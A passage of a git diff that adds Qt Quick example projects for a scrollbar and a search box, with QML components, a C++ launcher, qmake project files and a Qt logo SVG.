+ ScrollBar {
+ id: horizontalScrollBar
+ width: view.width-12; height: 12
+ anchors.bottom: view.bottom
+ opacity: 0
+ orientation: Qt.Horizontal
+ position: view.visibleArea.xPosition
+ pageSize: view.visibleArea.widthRatio
+ }
+}
diff --git a/examples/declarative/ui-components/scrollbar/qml/scrollbar/niagara_falls.jpg b/examples/declarative/ui-components/scrollbar/qml/scrollbar/niagara_falls.jpg
new file mode 100644
index 00000000..d2555439
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/qml/scrollbar/niagara_falls.jpg
Binary files differ
diff --git a/examples/declarative/ui-components/scrollbar/scrollbar.pro b/examples/declarative/ui-components/scrollbar/scrollbar.pro
new file mode 100644
index 00000000..ba89f12e
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/scrollbar.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/scrollbar
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xECE44DA2
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/scrollbar
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/scrollbar/scrollbar.qmlproject b/examples/declarative/ui-components/scrollbar/scrollbar.qmlproject
new file mode 100644
index 00000000..c777c2e7
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/scrollbar.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/scrollbar"
+ }
+ JavaScriptFiles {
+ directory: "qml/scrollbar"
+ }
+ ImageFiles {
+ directory: "qml/scrollbar"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/scrollbar/scrollbar.svg b/examples/declarative/ui-components/scrollbar/scrollbar.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/scrollbar.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/scrollbar/scrollbar64.png b/examples/declarative/ui-components/scrollbar/scrollbar64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/scrollbar64.png
Binary files differ
diff --git a/examples/declarative/ui-components/scrollbar/scrollbar80.png b/examples/declarative/ui-components/scrollbar/scrollbar80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/examples/declarative/ui-components/scrollbar/scrollbar80.png
Binary files differ
diff --git a/examples/declarative/ui-components/searchbox/main.cpp b/examples/declarative/ui-components/searchbox/main.cpp
new file mode 100644
index 00000000..84680ca3
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/searchbox/main.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/searchbox/qml/searchbox/SearchBox.qml b/examples/declarative/ui-components/searchbox/qml/searchbox/SearchBox.qml
new file mode 100644
index 00000000..4e94fe8c
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/qml/searchbox/SearchBox.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ id: focusScope
+ width: 250; height: 28
+
+ BorderImage {
+ source: "images/lineedit-bg.png"
+ width: parent.width; height: parent.height
+ border { left: 4; top: 4; right: 4; bottom: 4 }
+ }
+
+ BorderImage {
+ source: "images/lineedit-bg-focus.png"
+ width: parent.width; height: parent.height
+ border { left: 4; top: 4; right: 4; bottom: 4 }
+ visible: parent.activeFocus ? true : false
+ }
+
+ Text {
+ id: typeSomething
+ anchors.fill: parent; anchors.leftMargin: 8
+ verticalAlignment: Text.AlignVCenter
+ text: "Type something..."
+ color: "gray"
+ font.italic: true
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { focusScope.focus = true; textInput.openSoftwareInputPanel(); }
+ }
+
+ TextInput {
+ id: textInput
+ anchors { left: parent.left; leftMargin: 8; right: clear.left; rightMargin: 8; verticalCenter: parent.verticalCenter }
+ focus: true
+ selectByMouse: true
+ }
+
+ Image {
+ id: clear
+ anchors { right: parent.right; rightMargin: 8; verticalCenter: parent.verticalCenter }
+ source: "images/clear.png"
+ opacity: 0
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { textInput.text = ''; focusScope.focus = true; textInput.openSoftwareInputPanel(); }
+ }
+ }
+
+ states: State {
+ name: "hasText"; when: textInput.text != ''
+ PropertyChanges { target: typeSomething; opacity: 0 }
+ PropertyChanges { target: clear; opacity: 1 }
+ }
+
+ transitions: [
+ Transition {
+ from: ""; to: "hasText"
+ NumberAnimation { exclude: typeSomething; properties: "opacity" }
+ },
+ Transition {
+ from: "hasText"; to: ""
+ NumberAnimation { properties: "opacity" }
+ }
+ ]
+}
diff --git a/examples/declarative/ui-components/searchbox/qml/searchbox/images/clear.png b/examples/declarative/ui-components/searchbox/qml/searchbox/images/clear.png
new file mode 100644
index 00000000..91eb2706
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/qml/searchbox/images/clear.png
Binary files differ
diff --git a/examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg-focus.png b/examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg-focus.png
new file mode 100644
index 00000000..bbfac38d
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg-focus.png
Binary files differ
diff --git a/examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg.png b/examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg.png
new file mode 100644
index 00000000..9044226f
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/qml/searchbox/images/lineedit-bg.png
Binary files differ
diff --git a/examples/declarative/ui-components/searchbox/qml/searchbox/main.qml b/examples/declarative/ui-components/searchbox/qml/searchbox/main.qml
new file mode 100644
index 00000000..8092c6e7
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/qml/searchbox/main.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ width: 500; height: 250
+ color: "#edecec"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: page.focus = false;
+ }
+ Column {
+ anchors { horizontalCenter: parent.horizontalCenter; verticalCenter: parent.verticalCenter }
+ spacing: 10
+
+ SearchBox { id: search1; KeyNavigation.tab: search2; KeyNavigation.backtab: search3; focus: true }
+ SearchBox { id: search2; KeyNavigation.tab: search3; KeyNavigation.backtab: search1 }
+ SearchBox { id: search3; KeyNavigation.tab: search1; KeyNavigation.backtab: search2 }
+ }
+}
diff --git a/examples/declarative/ui-components/searchbox/searchbox.pro b/examples/declarative/ui-components/searchbox/searchbox.pro
new file mode 100644
index 00000000..baa8ac92
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/searchbox.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/searchbox
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xEE81B300
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/searchbox
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/searchbox/searchbox.qmlproject b/examples/declarative/ui-components/searchbox/searchbox.qmlproject
new file mode 100644
index 00000000..65543be4
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/searchbox.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/searchbox"
+ }
+ JavaScriptFiles {
+ directory: "qml/searchbox"
+ }
+ ImageFiles {
+ directory: "qml/searchbox"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/searchbox/searchbox.svg b/examples/declarative/ui-components/searchbox/searchbox.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/searchbox/searchbox.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 